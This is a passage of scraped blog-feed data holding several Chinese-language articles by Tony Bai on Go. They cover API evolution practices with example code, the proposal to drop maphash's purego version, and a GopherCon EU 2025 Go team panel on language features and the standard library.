Bai。\u003c/p\u003e\n\u003cp\u003e在软件安全领域，最成功的战役，往往是那些从未被公众所知的“隐形战争”。当一门编程语言的安全性被认为是理所当然时，这背后必然有一支团队在持续不断地进行着防御、修复与规划。对于 Go 语言而言，这支团队就是 Google 内部的 Go 安全/密码学团队。\u003c/p\u003e","title":"Go 安全的“隐形战争”：过去、现在与未来"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/24/evolving-your-go-api\n大家好，我是Tony Bai。\n你在 package 中导出的每一个 func 和 type，都是一份对用户的承诺。然而，变化是软件开发中唯一不变的真理。当需求变更、bug 修复、甚至认知升级时，你将如何修改这份“承诺”，同时又最大限度地减少对你和你的用户造成的破坏？\n在最近的 GopherCon EU 大会上，来自 Google Go 团队的 Jonathan Amsterdam 就“如何管理 Go API 变更”这一核心议题，分享了官方团队的深刻见解与最佳实践。\n这次演讲更像是一堂关于工程哲学与用户同理心的必修课。本文为你提炼了其中最关键的四大核心原则，供大家参考。\n原则一：“未来防护”——在设计之初就预见变化 避免破坏性变更的最好时机，是在你写下第一行 API 代码的时候。Amsterdam 强调，通过“未来防护” (Future-Proofing) 的设计，可以从源头上消除大量未来的麻烦。\n核心理念：保持最小化 “你可以随时添加东西，但修改或移除它们要困难得多。” 这是未来防护的第一信条。在你导出任何一个符号之前，请三思：\n非必要，不导出：如果一个符号可以在包内私有化，就绝不要导出它。一个常见的误区是为了方便测试而导出内部函数，更好的做法是使用 _test.go 文件和黑盒测试。 巧用 internal 包：如果一个符号需要在你的模块内部跨包共享，但又不希望被外部用户依赖，请将它放在 internal 包中。你知道吗？标准库的 net/http 树下有 4 个 internal 包，而 crypto 树下则多达 58 个！这正是 Go 团队严控公共 API 暴露面积的体现。 拥抱选项模式 当你预见到一个函数或类型的创建过程未来可能需要更多配置时，请立即使用选项模式。\nGo 社区主要有两种主流实现：选项结构体 (Option Structs) 和 可变函数选项 (Variadic Functional Options)。在演讲中，Jonathan Amsterdam 对两者进行了比较，并明确表达了对前者的偏爱。\n推荐方案：选项结构体 (Option Structs) 这是 Amsterdam 推荐的模式。它通过定义一个 Options 结构体，并通过指针传递来实现。这种方法：\n轻量且直观：定义一个字段比定义一个函数更简单。 默认行为清晰：用户可以简单地传入 nil 来获取所有默认行为。 零值友好：结构体的零值本身也应代表一套有效的默认配置。 扩展方便：新增一个配置选项，你只需在 Options 结构体中添加一个新字段即可。所有现有的、使用旧 Options 结构体或传入 nil 的客户端代码都不会被破坏，它们会自然地获得新字段的零值。 下面是一个选项结构体方案的示例：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; ) // Client 是我们要创建的类型 type Client struct { addr string retries int timeout time.Duration } // Options 定义了所有可配置项 type Options struct { Retries int Timeout time.Duration } // NewClient 使用选项结构体进行初始化 func NewClient(addr string, opts *Options) (*Client, error) { // 默认值 const ( defaultRetries = 3 defaultTimeout = 10 * time.Second ) // 内部复制 opts，避免外部修改影响内部状态 var o Options if opts != nil { o = *opts // 浅拷贝 } // 如果用户未提供，则使用默认值 if o.Retries == 0 { o.Retries = defaultRetries } if o.Timeout == 0 { o.Timeout = defaultTimeout } c := \u0026amp;Client{ addr: addr, retries: o.Retries, timeout: o.Timeout, } fmt.Printf(\u0026#34;Client created: %+v\\n\u0026#34;, c) return c, nil } func main() { // 使用默认配置 (传入 nil) fmt.Println(\u0026#34;--- Using defaults ---\u0026#34;) NewClient(\u0026#34;localhost:8080\u0026#34;, nil) // 自定义部分配置 fmt.Println(\u0026#34;\\n--- Using custom options ---\u0026#34;) NewClient(\u0026#34;remote:9090\u0026#34;, \u0026amp;Options{ Timeout: 5 * time.Second, }) } 输出:\n--- Using defaults --- Client created: \u0026amp;{addr:localhost:8080 retries:3 timeout:10000000000} --- Using custom options --- Client created: \u0026amp;{addr:remote:9090 retries:3 timeout:5000000000} 然而，选项结构体模式也存在一个核心挑战：如何处理非零值的默认值，或者如何区分用户显式传入的“零值”与“未提供该值”的情况？\n例如，在我们的 Client 示例中，如果 Retries 的默认值不是 0 而是 3，但用户可能确实想将重试次数显式设置为 0。此时，if o.Retries == 0 的判断逻辑就会失效。\n这个问题的标准解决方案是在结构体中使用指针字段：\ntype Options struct { Retries *int Timeout *time.Duration } 通过指针，我们可以清晰地表达三种状态：\nRetries 为 nil：用户未提供此选项，应使用默认值。\nRetries 指向 0：用户显式将重试次数设置为 0。\nRetries 指向其他值：用户设置了自定义值。\n但这种解决方案带来了新的缺点：\n用户体验变得笨拙：用户无法直接创建指向字面量 (literal) 的指针。他们必须先创建一个临时变量，这增加了代码的冗余。 // 为了传入一个 *int，用户必须这么写： retries := 0 timeout := 5 * time.Second client, _ := NewClient(\u0026#34;addr\u0026#34;, \u0026amp;Options{ Retries: \u0026amp;retries, Timeout: \u0026amp;timeout, }) 需要工具函数辅助：为了解决上述问题，很多库会提供 aws.Int(0) 或 google.String(“foo”) 这样的辅助函数来简化指针的创建，但这又增加了额外的认知负担。 Jonathan Amsterdam 在演讲中也坦诚地指出了这一点，并兴奋地提到 Go 团队正在积极解决这个问题。Go 1.26 有望通过一个备受期待的提案，让 new(0) 或 new(“foo”) 这样的语法成为可能，从而极大地改善选项结构体模式的用户体验。\n替代方案：可变函数选项（Variadic Functional Options） 正如 Amsterdam 在演讲中提到的，这是一种“非常流行”的模式，由 Dave Cheney 等人推广。它将每个选项定义为一个函数，并通过可变参数传入。\n我们同样用一个可运行的示例来展示其实现：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; ) // Client 结构体保持不变 type Client struct { addr string retries int timeout time.Duration } // Option 是一个函数类型，用于修改 Client 实例 type Option func(*Client) // WithRetries 是一个返回 Option 的函数 func WithRetries(r int) Option { return func(c *Client) { c.retries = r } } // WithTimeout 是另一个返回 Option 的函数 func WithTimeout(t time.Duration) Option { return func(c *Client) { c.timeout = t } } // NewClient 使用可变函数选项进行初始化 func NewClient(addr string, opts ...Option) (*Client, error) { // 首先设置默认值 c := \u0026amp;Client{ addr: addr, retries: 3, timeout: 10 * time.Second, } // 循环应用所有传入的选项函数 for _, opt := range opts { opt(c) } fmt.Printf(\u0026#34;Client created: %+v\\n\u0026#34;, c) return c, nil } func main() { // 使用默认配置 (不传入任何 option) fmt.Println(\u0026#34;--- Using defaults ---\u0026#34;) NewClient(\u0026#34;localhost:8080\u0026#34;) // 自定义部分配置 fmt.Println(\u0026#34;\\n--- Using custom options ---\u0026#34;) NewClient(\u0026#34;remote:9090\u0026#34;, WithTimeout(5*time.Second)) } 输出:\n--- Using defaults --- Client created: \u0026amp;{addr:localhost:8080 retries:3 timeout:10000000000} --- Using custom options --- Client created: \u0026amp;{addr:remote:9090 retries:3 timeout:5000000000} 优点：\n优雅地处理非零值默认值：这是它最大的优势。因为只有当用户显式传入某个选项函数时，对应的配置才会被修改，否则自然保持默认值。 缺点：\n可能产生语义模糊：Amsterdam 提出了一个关键问题：“当你重复传入同一个选项时，会发生什么？” 例如，NewClient(“addr”, WithTimeout(5time.Second), WithTimeout(10time.Second)) 的行为是什么？是第一个生效、最后一个生效，还是应该报错？这为 API 带来了不确定性，需要额外的文档和实现来约束。\n感觉“有些重”：他直言：“我只是觉得它有点重量级，因为你必须为每个选项都定义一个函数，而不是一个字段，这对我来说感觉更轻量。” 这种“重量级”的感觉，源于它需要更多的样板代码（为每个选项创建一个 With… 函数），与 Go 追求简洁的哲学有所出入。\n虽然两种模式都能有效地实现未来防护，但 选项结构体 模式因其更轻量、语义更明确的特点，成为了 Go 官方团队成员更倾向于推荐的选择。\n保护接口的技巧 向一个已发布的接口添加方法，是绝对的破坏性变更。如果你的接口主要用于包内实现，不希望被外部用户实现，可以添加一个私有方法来“锁定”它。\n// 这是一个被“锁定”的接口，外部包无法实现它 type LockedInterface interface { ExportedMethod() // 这个私有方法让其他包无法实现该接口 unexportedMethod() } 这样，未来你就可以自由地向 LockedInterface 添加新的导出方法，而不会破坏任何用户代码，因为唯一能实现它的代码就在你的掌控之中。\n到这里，一些小伙伴儿可能要问：“既然不想让用户实现该接口，直接将接口定义为非导出接口不就行了吗？” 这里简单说一下非导出接口与都带有私有方法的导出接口的应用场景差异。\n非导出接口适用于接口及其所有实现都完全是包内部的私有细节，不希望任何外部代码感知或使用其类型；而包含私有方法的导出接口则适用于接口类型本身需要作为公共API的一部分（例如作为函数参数或返回值）来定义契约，但同时又严格限制只有定义该接口的包内部才能提供其具体实现，以防止外部用户自行实现该接口。\n原则二：“增加，而非修改”——当变更不可避免时的黄金法则 即便你做了万全的准备，总有一天，你还是需要修改 API。此时，请牢记这条黄金法则：增加新功能，而非修改旧功能。\n要为函数添加参数？ -\u0026gt;增加一个新函数。 在 Go 中，我们通常会为新函数起一个更具描述性的名字，例如在函数名后加上 Context 或 Ex。\n要为接口添加能力？ -\u0026gt;增加一个新接口，并使用类型断言。 net/http 中的 Pusher 接口就是绝佳范例。服务器通过类型断言检查 ResponseWriter 是否“顺便”实现了 Pusher 接口，从而实现可选的功能增强，而不是粗暴地修改 ResponseWriter 接口本身。\n下面是一个可运行的示例：\npackage main import \u0026#34;fmt\u0026#34; // Reader 是我们已发布的 v1 接口 type Reader interface { Read() string } // Closer 是我们希望添加的新能力 type Closer interface { Close() } // StringReader 是 Reader 的一个实现 type StringReader struct { content string } func (s *StringReader) Read() string { return s.content } // FileLikeReader 是一个同时实现了 Reader 和 Closer 的新类型 type FileLikeReader struct { content string } func (f *FileLikeReader) Read() string { return f.content } func (f *FileLikeReader) Close() { fmt.Println(\u0026#34;FileLikeReader closed!\u0026#34;) } // Process 函数只依赖于 v1 的 Reader 接口 func Process(r Reader) { fmt.Println(\u0026#34;Processing data:\u0026#34;, r.Read()) // 使用类型断言来可选地使用新功能 if c, ok := r.(Closer); ok { c.Close() } else { fmt.Println(\u0026#34;This reader cannot be closed.\u0026#34;) } } func main() { fmt.Println(\u0026#34;--- Processing StringReader ---\u0026#34;) Process(\u0026amp;StringReader{content: \u0026#34;hello\u0026#34;}) fmt.Println(\u0026#34;\\n--- Processing FileLikeReader ---\u0026#34;) Process(\u0026amp;FileLikeReader{content: \u0026#34;world\u0026#34;}) } 输出:\n--- Processing StringReader --- Processing data: hello This reader cannot be closed. --- Processing FileLikeReader --- Processing data: world FileLikeReader closed! 原则三：游戏规则改变者——Go 1.26 的 //go:fix 内联指令 谈到废弃旧 API，Amsterdam 兴奋地宣布了一个即将在 Go 1.26 中登场的“游戏规则改变者”：//go:fix inline 指令。\n这个特殊的注释指令，允许包的作者声明一个旧函数可以被其新版本安全地内联替换。这为 API 迁移提供了一条平滑、半自动化且绝对安全的路径。\n一个即将可用的示例：\n// in package ioutil (old) package ioutil import \u0026#34;io\u0026#34; //go:fix inline io.ReadAll // Deprecated: Use io.ReadAll instead. func ReadAll(r io.Reader) ([]byte, error) { return io.ReadAll(r) } // --- in user\u0026#39;s code --- package main import ( \u0026#34;bytes\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;io/ioutil\u0026#34; // 初始依赖 ) func main() { reader := bytes.NewBufferString(\u0026#34;hello world\u0026#34;) // 用户最初调用的是旧的 API data, _ := ioutil.ReadAll(reader) fmt.Println(string(data)) } // 运行 gofix (或使用 gopls) 后，用户的代码会自动变成: /* package main import ( \u0026#34;bytes\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;io\u0026#34; // import 被自动重写 ) func main() { reader := bytes.NewBufferString(\u0026#34;hello world\u0026#34;) // 调用被自动替换为新的 API data, _ := io.ReadAll(reader) fmt.Println(string(data)) } */ 这个功能极其强大，因为它将 API 迁移的痛苦降到了最低。它甚至可以用于引导用户从 v1 版本平滑过渡到 v2 版本，极大地减轻了作者的维护负担和用户的升级阻力。\n原则四：安全阀——用构建标签进行有原则的实验 有时候，你不确定一个新 API 是否是“正确”的，需要让它在真实世界中“烘焙”一段时间。Amsterdam 强烈建议使用构建标签 (Build Tags) 来管理这类实验性功能。\n不要使用像 //go:build experiment 这样通用的标签，而应使用特定于你的模块和实验的、唯一的标签，以避免与其他模块的实验标签冲突。\n一个可运行的示例：\n假设我们有两个文件。\n//features.go //go:build !mymodule_coolfeature package main import \u0026#34;fmt\u0026#34; func Greet() { fmt.Println(\u0026#34;Hello, old world!\u0026#34;) } // features_experimental.go //go:build mymodule_coolfeature package main import \u0026#34;fmt\u0026#34; func Greet() { fmt.Println(\u0026#34;Hello, experimental new world!\u0026#34;) } // main.go go package main func main() { Greet() } 如何运行：\n# 默认情况下，运行不带构建标签的版本 $ go run . Hello, old world! # 通过 -tags 标志开启实验性功能 $ go run -tags=mymodule_coolfeature . Hello, experimental new world! log/slog 在进入标准库前，正是通过这种方式在 x/exp 仓库中进行了长时间的孵化。这种方法为新功能的引入提供了一个宝贵的“安全阀”，让你可以收集用户反馈，同时又不做出任何稳定性承诺。\n小结：API 设计的核心是同理心 Jonathan Amsterdam 的分享，为我们描绘了一幅清晰的 Go API 演进路线图。从“未来防护”的先见之明，到“增加而非修改”的务实操作，再到 //go:fix 的自动化迁移和构建标签的灵活实验，Go 团队为我们提供了一整套既强大又优雅的工具箱。\n这些原则和工具的背后，贯穿着一条核心思想：对用户的同理心。一个优秀的 API 设计者，会始终将用户的迁移成本、信任和体验放在首位。因为最终，让你陷入维护泥潭的，往往不是技术的复杂性，而是那些因破坏性变更而失去的用户。\n视频链接：https://www.youtube.com/watch?v=9Mb0yy8u-Gs\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/24/evolving-your-go-api/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/evolving-your-go-api-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/24/evolving-your-go-api\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/24/evolving-your-go-api\"\u003ehttps://tonybai.com/2025/09/24/evolving-your-go-api\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e你在 package 中导出的每一个 func 和 type，都是一份对用户的\u003cstrong\u003e承诺\u003c/strong\u003e。然而，变化是软件开发中唯一不变的真理。当需求变更、bug 修复、甚至认知升级时，你将如何修改这份“承诺”，同时又最大限度地减少对你和你的用户造成的破坏？\u003c/p\u003e","title":"Go团队成员的忠告：在你的API变得无法挽回之前，必须掌握的四条原则"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/23/go-maphash-portability-costs-and-runtime-boundaries\n大家好，我是Tony Bai。\n对于大多数Go开发者来说，标准库似乎是一个浑然天成的整体。我们理所当然地使用着fmt、net/http和encoding/json，很少去思考它们内部的依赖关系和架构边界。然而，在标准库光鲜的外表之下，一场关于其核心架构的深刻变革正在悄然发生，而hash/maphash这个看似不起眼的包，正处在这场变革的风暴中心。\n最近，Go核心团队的技术负责人Austin Clements在2025年9月17日的提案审查会议中，将他在2025年6月提出的issue #74285的提案设置为“已接受”（Accepted）状态。该提案名为“maphash: drop purego version and establish stronger runtime boundary”，建议移除maphash包的purego实现，并为Go标准库建立一个更清晰的“运行时边界”。\n在过去几个月中，Go团队与社区围绕maphash的讨论，以及与TinyGo、GopherJS等社区的精彩互动，揭示了在设计一个世界级标准库时，面临的关于可移植性、依赖管理和生态系统健康的深刻权衡。\n在这篇文章中，我就和大家一起来探讨这一提案的背景、影响以及在实现过程中所面临的挑战。\n问题的核心：maphash的两副面孔 maphash包的功能很简单：它暴露了Go语言内置map类型所使用的哈希函数。但为了支持不同的Go实现（如标准编译器gc、TinyGo、GopherJS），它内部存在两个截然不同的版本：\ngc版本 (运行时绑定，对应标准编译器gc): * **实现**: 深度绑定Go gc运行时，直接使用编译器为map生成的、经过高度优化的哈希函数。 * **依赖**: 极其轻量，只依赖8个底层包。 * **优点**: 性能极高，依赖图谱干净。 purego版本 (可移植): * **实现**: 为了能在非gc环境（如TinyGo、GopherJS）中运行，它使用纯Go代码重新实现了一套哈希算法（wyhash），并通过reflect包来遍历类型，用crypto/rand生成随机种子。 * **依赖**: **这是一个灾难**。purego版本引入了**多达87个包**的依赖，形成了一个庞大的依赖树。 * **优点**: 理论上具有更好的可移植性。 这个“可移植”的purego版本，正是问题的根源。一个本应是底层、基础的哈希库，却因为reflect和crypto/rand的引入，使其在依赖图谱中的位置变得异常之高。\n“可移植性”的隐藏成本 这种臃肿的依赖关系带来了致命的副作用：标准库的底层包无法使用maphash。\n想象一下，如果internal/sync或unique这些极其底层的包想要使用maphash，它们就会被迫将reflect和crypto/rand等80多个重量级包引入到Go运行时的最底层。这将造成灾难性的依赖循环和二进制文件膨胀。\n正如Austin Clements在提案中所说，purego版本的存在，使得maphash无法在它本该发挥最大价值的地方被使用，甚至在一些高层包中也引入了棘手的依赖问题。为了追求对非标准编译器的“开箱即用”支持，整个标准库的架构健康付出了沉重的代价。\n提案：划定边界，回归简单 因此，Go团队提出了一个看似激进但实则回归本源的方案：移除purego实现，并正式声明maphash是“运行时的一部分”。\n这也是Go团队的一种态度的表达：Go标准库需要一条清晰的界线，来区分哪些是可移植的、与运行时无关的代码，哪些是与特定工具链（如gc）紧密绑定的代码。\n提案初期，Go团队提出的实现方案如下：\nmaphash的核心哈希逻辑保留在可移植的文件中。 与gc运行时交互的“胶水代码”被隔离到一个单独的文件中，并使用//go:build gc标签进行标记。 其他Go实现（如TinyGo）可以轻松地提供它们自己的“胶水代码”文件，来对接它们各自的运行时，而无需维护一个完整、复杂且依赖臃肿的purego版本。 但这个方案立刻引发了TinyGo和GopherJS社区核心维护者的深入讨论：\nTinyGo的视角: TinyGo维护者表示，他们更倾向于使用//go:linkname来链接到运行时的内部函数。这种方式的“接口”更小、更稳定，比为每个包提供一个“胶水文件”更容易维护。 GopherJS的视角: GopherJS的维护者也指出了一个更棘手的问题：GopherJS的运行环境（JavaScript）不支持unsafe指针操作，因此一个纯Go的实现对他们至关重要。直接移除purego版本会给他们带来巨大的维护负担。 正是在这种建设性的讨论中，一个更完善、更具同理心的最终方案诞生了：\n重构maphash: Go团队将重构maphash，使其运行时接口定义更清晰。 精简purego: 重写purego的哈希实现，用internal/reflectlite替换庞大的reflect，并移除crypto/rand依赖，从而大幅削减其依赖树。 移交所有权: 将这个精简后的、基于reflectlite的纯Go实现，移交给GopherJS项目自己维护。 建立“防火墙”: 在Go标准库的依赖测试中，明确禁止reflectlite反向依赖maphash，从制度上杜绝未来可能出现的依赖循环。 小结 这场关于maphash的深刻讨论，最终以一个“皆大欢喜”的方案被接受。它不仅解决了Go核心团队的燃眉之急，也充分尊重了生态伙伴的需求。对于我们普通Gopher来说，这场“标准库的内科手术”带来了几点重要启示：\n没有免费的午餐：“可移植性”和“零依赖”等美好的设计目标，有时会带来意想不到的、系统级的隐藏成本。理解这些权衡，是做出优秀架构决策的前提。 边界是清晰思考的产物：一个健康的系统，必然有清晰的边界。Go标准库正在通过这次重构，更严格地定义其内部的层次和依赖关系。我们在自己的项目中，也应该同样重视对模块和包的边界划分。 开源的真正力量在于协作：这次提案的演进过程，完美地展示了一个成熟的开源社区是如何通过开放、理性的讨论，将一个单方面的决策，演进为一个凝聚了各方智慧、更具韧性的解决方案的。 最终，一个更健康、更易于维护、内部依赖更清晰的Go标准库，将使整个生态系统中的每一个人受益。这，或许就是这场看似不起眼的maphash重构，带给我们的最大价值。\n资料链接：https://github.com/golang/go/issues/74285\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/23/go-maphash-portability-costs-and-runtime-boundaries/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-maphash-portability-costs-and-runtime-boundaries-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/23/go-maphash-portability-costs-and-runtime-boundaries\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/23/go-maphash-portability-costs-and-runtime-boundaries\"\u003ehttps://tonybai.com/2025/09/23/go-maphash-portability-costs-and-runtime-boundaries\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e对于大多数Go开发者来说，标准库似乎是一个浑然天成的整体。我们理所当然地使用着fmt、net/http和encoding/json，很少去思考它们内部的依赖关系和架构边界。然而，在标准库光鲜的外表之下，一场关于其核心架构的深刻变革正在悄然发生，而hash/maphash这个看似不起眼的包，正处在这场变革的风暴中心。\u003c/p\u003e","title":"“可移植性”的隐藏成本：Go为何要重塑maphash并划定新的运行时边界？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/22/go-team-gave-up-on-features\n大家好，我是Tony Bai。\n在 GopherCon Europe 2025 的 Go 团队座谈会上，Michael Stapelberg(负责go protobuf)、Damien Neil(负责Go安全相关)、Michael Pratt(负责Go运行时和Go性能相关) 和 Jonathan Amsterdam(log/slog作者，负责Go工具相关) 四位核心成员与社区进行了一场坦诚的对话。他们不仅分享了诸如官方 MCP SDK、“裸金属”Go 等激动人心的进展，更以一种罕见的坦率，正面回应了社区长期以来关心的多个“老大难”问题——包括不可变类型、泛型错误处理和非 nil 指针。其中最引人注目的一句“我们放弃了”，几乎为 Go 语言在某些方向上的演进画上了句号。\n本文将带你深入这场座谈会的核心内容，一探 Go 语言的现在与未来。\n语言设计的哲学——“不做什么”比“做什么”更重要 座谈会最精彩的部分，莫过于对多个长期存在的语言功能提案的讨论。Go 团队的态度清晰而一致：为了维护 Go 的核心价值——简洁性和易读性，他们愿意对许多看似“美好”的功能说“不”。\n不可变数据类型 (immutable) 社区的期待：为 Go 增加类似 immut和const(修饰变量的) 的关键字，以增强代码的安全性和可预测性。 团队的困境：Michael Pratt 承认，这是“可能做的最好的事情之一”，但他紧接着说，“我们不知道该如何实现它”。内部曾有多个提案，但都未成功。核心问题在于，任何这类功能都会像病毒一样在代码库中蔓延，迫使所有 API 都需要考虑 const 和非 const 两种版本，这与 Go 的设计哲学背道而驰。 结论：在社区提出一个绝佳的、能保持语言简洁性的提案之前，官方不会主动推进。 泛型错误处理 (减少 if err != nil) 社区的期待：引入 try/check 等机制，减少错误处理的冗余代码。 团队的“投降”：在经过长达数年的思考和无数次讨论后，Go团队给出了一个爆炸性的结论：“我们放弃了 (we give up)。” 团队承认，他们找不到任何一种能让所有人都满意的、既能减少冗余又不损失清晰性的方法。 新的焦点：这一“投降”反而让团队感到“极度兴奋”。因为它意味着可以停止在“冗余”这个问题上内耗，转而思考其他更重要的错误处理问题。Damien 明确指出，如何在错误中加入堆栈跟踪才是当前错误处理最大的痛点，也是团队更愿意投入精力去探索的方向。 非 Nil 指针 (non-nil) 社区的期待：通过语言机制在编译期防止 nil 指针解引用。 团队的权衡：Jonathan Amsterdam 解释道，虽然非 nil 指针很好，但它会引入两种指针类型，让一切都变成两倍。或者需要引入复杂的流式类型分析，这会使代码更难阅读和理解。 一个反直觉的洞见：“Nil 指针错误是最好的运行时错误”，因为它有确定性的堆栈跟踪，易于定位。团队更关心那些非确定性的、只在生产环境中出现的并发 bug，比如 goroutine 泄漏。 枚举 (enum) 社区的期待：提供比 iota 更强大、更类型安全的枚举支持。 团队的困惑：Damien 指出，社区对 enum 的需求至少有两种截然不同的解读：一种是“整数的枚举”，另一种是“类型的枚举”（即代数数据类型），两者差异巨大。在社区就“到底想要什么”达成共识之前，团队很难推进。 标准库的“新陈代谢”——演进、维护与“瘦身” 标准库是 Go 生态的基石，但随着时间的推移，一些包也显现出历史的痕迹。\n哪些包应该被“移除”？ 团队成员们“点名”了一些他们认为设计不佳或已不再主流的包：\ntext/tabwriter: Damien 认为其设计不佳，如果现在重来，会做一个 v2 版本。 运行时的诊断(diagnostic) API: Michael Pratt 认为现有的 API “有点陈旧，难以使用”，希望能有更好的 API，但不确定是否值得为此做一个 v2。 net/rpc: 被 gRPC 全面超越。 expvar: 非常小众，很少有人使用。 syscall: 正在被 golang.org/x/sys 逐步取代，以实现更灵活的更新。 net/mail, syslog: 社区已经有了功能更强大、更受青睐的替代方案，标准库的实现已沦为“鸡肋”。 虽然因为 Go 1 的兼容性承诺无法真正移除它们，但团队的态度表明，未来的发展重心将不会在这些包上。\n拥抱 v2，但极其审慎 json/v2 和 math/rand/v2 的出现，标志着 Go 团队愿意为那些存在根本性设计缺陷的包创建 v2 版本。但团队强调，这是一个极为例外的手段，只有在“现有 API 框架内无法做出改进”时才会考虑，因为 v2 会带来生态的分裂和迁移成本。\nGo 在新时代的定位与机遇 面对 AI、裸金属(bare metal)等新兴领域，Go 将如何定位自己？\nGo 在 AI 与数据科学领域的角色 清晰的边界：Go 团队不会去开发一个与 LangChain 或 Genkit 竞争的官方 AI 框架，也不会深入数值计算（社区的 gonum 已经很出色）。 专注“生产化” (Productionization)：团队认为，Go 的核心优势在于将 Python 中训练和设计的模型，部署到高性能、高并发的生产环境中。这是 Go 想要“拥有”的领域。Jonathan Amsterdam 更是直言：“你用 numpy 把东西搭起来，但你不会想用 Python 把它部署到生产环境。这时候你就该用 Go 了。” 提供核心 SDK 支持：团队将致力于为重要的 AI 规范和平台（如 MCP, Gemini, Genkit）提供高质量的官方 Go SDK。 “裸金属” Go (Bare metal Go) 进展：Michael Pratt 确认，一项由 Tamago 项目推动的新提案正在讨论中，旨在为 Go 运行时提供一个更稳定的内部 API，使其能更好地与底层系统交互。 价值：这将使 Go 在嵌入式、unikernel 等领域的应用变得更加容易，并且其设计是通用的，不局限于特定 CPU 架构。 激动人心的地平线——运行时与工具链的前沿探索 座谈会也透露了几个正在进行中的、令人兴奋的底层项目：\n官方 MCP SDK：Jonathan Amsterdam 确认，官方的 Go MCP SDK 随时可能发布正式版，它吸取了社区现有实现的经验，设计更清晰，旨在成为官方标准。 Green Tea GC：Michael Pratt 提到，Michael Knyszek 正在进行一项名为“Green Tea”的 GC 改进提案，旨在提升 GC 在超多核（如 256 核）机器上的可扩展性和局部性 (locality)，以应对现代服务器硬件的发展。 Goroutine 泄漏检测：团队正在与 Uber 的工程师合作，计划将一项利用 GC 来动态检测部分死锁（即 goroutine 泄漏）的技术引入 Go。这项技术能找出那些“永远等待”在一个无人能触及的 channel 上的 goroutine，并将其报告出来。 WASM 的原生 GC 集成：团队希望未来能让 Go 编译的 WebAssembly 使用宿主环境（如浏览器）的原生 GC，但这面临着 Go 严重依赖“内部指针”（interior pointers）而 WASM GC 不支持的巨大技术挑战。 结构体对齐优化：David Chase 正在推动一个“个人激情项目”，目标是让编译器自动优化结构体字段的顺序，以减少内存空洞和提高空间效率。未来开发者将不再需要手动调整字段顺序。相关的提示功能已在 gopls 中提供。 开发者的日常——工具、协作与社区 座谈会的最后，团队成员分享了他们作为开发者的工作日常和对社区的看法。\nAI 工具的使用：团队成员普遍开始使用 LLM。Jonathan Amsterdam 发现它是学习 OAUTH2 这类复杂规范的“极有耐心的老师”；Michael Stapelberg 则用它来学习 NixOS。Damien 更是认为 LLM 在处理 Go 代码时表现出色，因为 Go 的简洁性和向后兼容性为模型提供了高质量的训练数据。 编辑器之争：Michael Stapelberg 坦诚自己已从 Vim 叛逃至 Emacs，引发了现场的善意哄笑。 对 Go 社区的信心：当被问及“如果 Google 不再支持 Go，社区能否接手”时，团队成员们毫不犹豫地表示肯定。他们认为 Go 社区非常强大且自给自足，拥有大量非 Google 的核心贡献者（并以 Filippo Valsorda 为例），社区的繁荣并不完全依赖于 Google。 拾遗——关于性能、安全与其他语言的思考 除了上述重大议题，座谈会还触及了许多开发者关心的具体问题，这些简短的问答同样充满了来自 Go 团队的深刻洞见。\nGo 与 Rust：灵感的源泉 当被问及对 Rust 等其他语言的看法时，团队表现出开放和欣赏的态度。\n并发安全：Jonathan Amsterdam 坦言，Rust 提供的并发安全模型是他们“都希望在 Go 中拥有”的东西，因为它能极大地提升程序的可靠性。但他同时指出，在不让 Go 变得像 Rust 一样复杂的前提下，目前还没有找到实现路径。 不同的演进道路：团队也关注 OCaml 在并发安全上的探索。Jane Street 采用了一种与 Rust 完全不同的方法来实现并发安全，这表明解决同一问题可以有多条路径，Go 也在持续观察和学习。 性能：一个“双峰分布”的社区 Michael Pratt 对 Go 的性能有一个有趣的观察，他认为社区对此的感受呈现“双峰分布”：\n一端是极其满意的用户：他们可能从 Python 